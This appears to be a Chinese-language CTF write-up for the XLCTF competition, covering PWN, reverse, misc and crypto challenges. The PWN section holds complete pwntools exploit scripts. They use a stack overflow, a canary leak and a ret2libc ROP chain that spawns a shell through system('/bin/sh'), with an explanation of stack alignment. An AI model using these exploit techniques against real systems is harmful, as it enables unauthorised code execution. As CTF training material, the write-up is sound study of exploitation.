比赛地址:xlctf.huhstsec.top/
PWN
ret2text签到
ini
from pwn import *
file = './1'
io = remote('127.0.0.1',61865)
elf = ELF(file)
context.log_level = 'debug'
payload = b'a'*(0xA+0x8) + p64(0x40115A)
io.sendlineafter(b'xlctf\n',payload)
io.interactive()
ezlibc
存在canary和nx保护,首先main函数就是初始化之后进入了bug函数,所以分析bug函数,观察到printf里有一个打印%s,所以利用第一个read把buf填满然后让第一个printf把canary泄露出来。
然后利用第二个read利用上第一次泄露的canary,构建ROP泄露read的地址
scss
from pwn import *
file = './ezlibc'
#io = remote('xlctf.huhstsec.top',40791)
io = process(file)
elf = ELF(file)
context.log_level = 'debug'
#泄露canary
payload = b'a'*36 + b'bbbb'
io.sendlineafter(b'flag!\n',payload)
io.recvuntil(b'bbbb')
canary = u64(io.recv(8)) - 0xa
print("canary >>> " + hex(canary))
#构建ROP,泄露read的地址
payload1 = b'a'*40 + p64(canary) + p64(0xdeadbeef) + p64(0x400843) + p64(elf.got['read']) + p64(elf.plt['puts'])
io.sendlineafter(b'the key',payload1)
io.recvuntil(b'trying\n')
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("read_addr >>> " + hex(read_addr))
io.interactive()
有了read的地址,然后根据题目给出了ubuntu18的提示,利用libcbase来计算获得system和binsh地址
scss
from pwn import *
from LibcSearcher import *
file = './ezlibc'
io = remote('xlctf.huhstsec.top',28386)
#io = process(file)
elf = ELF(file)
context.log_level = 'debug'
#泄露canary
payload = b'a'*36 + b'bbbb'
io.sendlineafter(b'flag!\n',payload)
io.recvuntil(b'bbbb')
canary = u64(io.recv(8)) - 0xa
print("canary >>> " + hex(canary))
#构建ROP,泄露read的地址并且返回到bug函数再次执行system(binsh)
payload1 = b'a'*40 + p64(canary) + p64(0xdeadbeef) + p64(0x400843) + p64(elf.got['read']) + p64(elf.plt['puts']) + p64(0x400843) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x40059e) + p64(elf.symbols['bug'])
io.sendlineafter(b'the key',payload1)
io.recvuntil(b'trying\n')
read_addr = u64(io.recv(6).ljust(8,b'\x00'))
print("read_addr >>> " + hex(read_addr))
data = b''
while len(data) < 6: # 读取 6 个有效字节
byte = io.recv(1) # 每次读取 1 字节
if byte != b'\n': # 忽略换行符
data += byte
puts_addr = u64(data.ljust(8, b'\x00')) # 补齐到 8 字节
print(f"puts_addr >>> {hex(puts_addr)}")
libc = LibcSearcher('read',read_addr)
libc.add_condition('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
binsh = libcbase + libc.dump('str_bin_sh')
system = libcbase + libc.dump('system')
payload2 = b'a'*40 + p64(canary) + p64(0xdeadbeef) + p64 (0x40059e) + p64(0x400843) + p64(binsh) + p64(system)
io.sendlineafter(b'flag!',payload2)
io.interactive()
这里我有个点想不通,就是payload2里面为什么要在返回地址处添加一个ret指令?
因为需要关注一个栈对齐,x86_64 体系结构通常要求栈按 16 字节对齐(即每次栈帧的大小应是 16 字节的倍数)。这意味着栈指针(rsp
)在函数返回时应该是 16 字节对齐的。也就是rsp地址应该是以0结尾
Reverse
ezbase
将输入先异或了16然后进行base64变表编码然后将12位和18位进行了交换再比较
因为最终flag为8CJJ8z918CyC3HtzObOJcov3B2Sh8upqNu6ic/hxZjeJcotz8CkJcoY9
先将12位和18位交换回来:8CJJ8z918CyCOHtzOb3Jcov3B2Sh8upqNu6ic/hxZjeJcotz8CkJcoY9
然后用base变表解码
再异或一个16
less
flag = 'v|qwksvs'svvr=q# u=$ttt=(u( =!%uq#&vvqq##m'
temp_flag = ''.join(chr(ord(flag[i]) ^ 16) for i in range(len(flag)))
print(temp_flag)
MISC
别呀啦(签到)
多层嵌套压缩包,直接写脚本解压搜索flag即可
python
import os
import zipfile
import re
import shutil
# 临时解压目录
TEMP_DIR = "temp_extract"
PROCESSED_FILES = set() # 记录已处理文件
MAX_DEPTH = 100 # 限制最大递归深度
def extract_zip(file_path, extract_to):
"""解压zip文件"""
with zipfile.ZipFile(file_path, 'r') as zip_ref:
zip_ref.extractall(extract_to)
def search_flag_in_file(file_path):
"""在文件中搜索flag"""
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
match = re.search(r'XLCTF{.*?}', content)
if match:
return match.group()
return None
def process_file(file_path, current_depth=0):
"""递归处理文件"""
if current_depth > MAX_DEPTH:
print("已达到最大递归深度,停止处理")
return None
# 防止重复处理
abs_path = os.path.abspath(file_path)
if abs_path in PROCESSED_FILES:
return None
PROCESSED_FILES.add(abs_path)
# 创建临时目录
if not os.path.exists(TEMP_DIR):
os.makedirs(TEMP_DIR)
if zipfile.is_zipfile(file_path):
print(f"正在解压: {file_path}")
temp_dir = os.path.join(TEMP_DIR, os.path.basename(file_path))
os.makedirs(temp_dir, exist_ok=True)
extract_zip(file_path, temp_dir)
for root, dirs, files in os.walk(temp_dir):
for file in files:
nested_file = os.path.join(root, file)
flag = process_file(nested_file, current_depth + 1)
if flag:
return flag
elif file_path.endswith('.txt'):
print(f"正在搜索flag: {file_path}")
return search_flag_in_file(file_path)
return None
def clean_temp():
"""清理临时目录"""
if os.path.exists(TEMP_DIR):
shutil.rmtree(TEMP_DIR)
if __name__ == "__main__":
try:
input_file = "D:\Download\hhh.zip" # 替换为你的初始压缩包路径
flag = process_file(input_file)
if flag:
print(f"找到flag: {flag}")
else:
print("未找到flag")
finally:
clean_temp()
Crypto
你真的懂社会主义核心价值观吗
放入社会主义核心价值观解码然后base64解码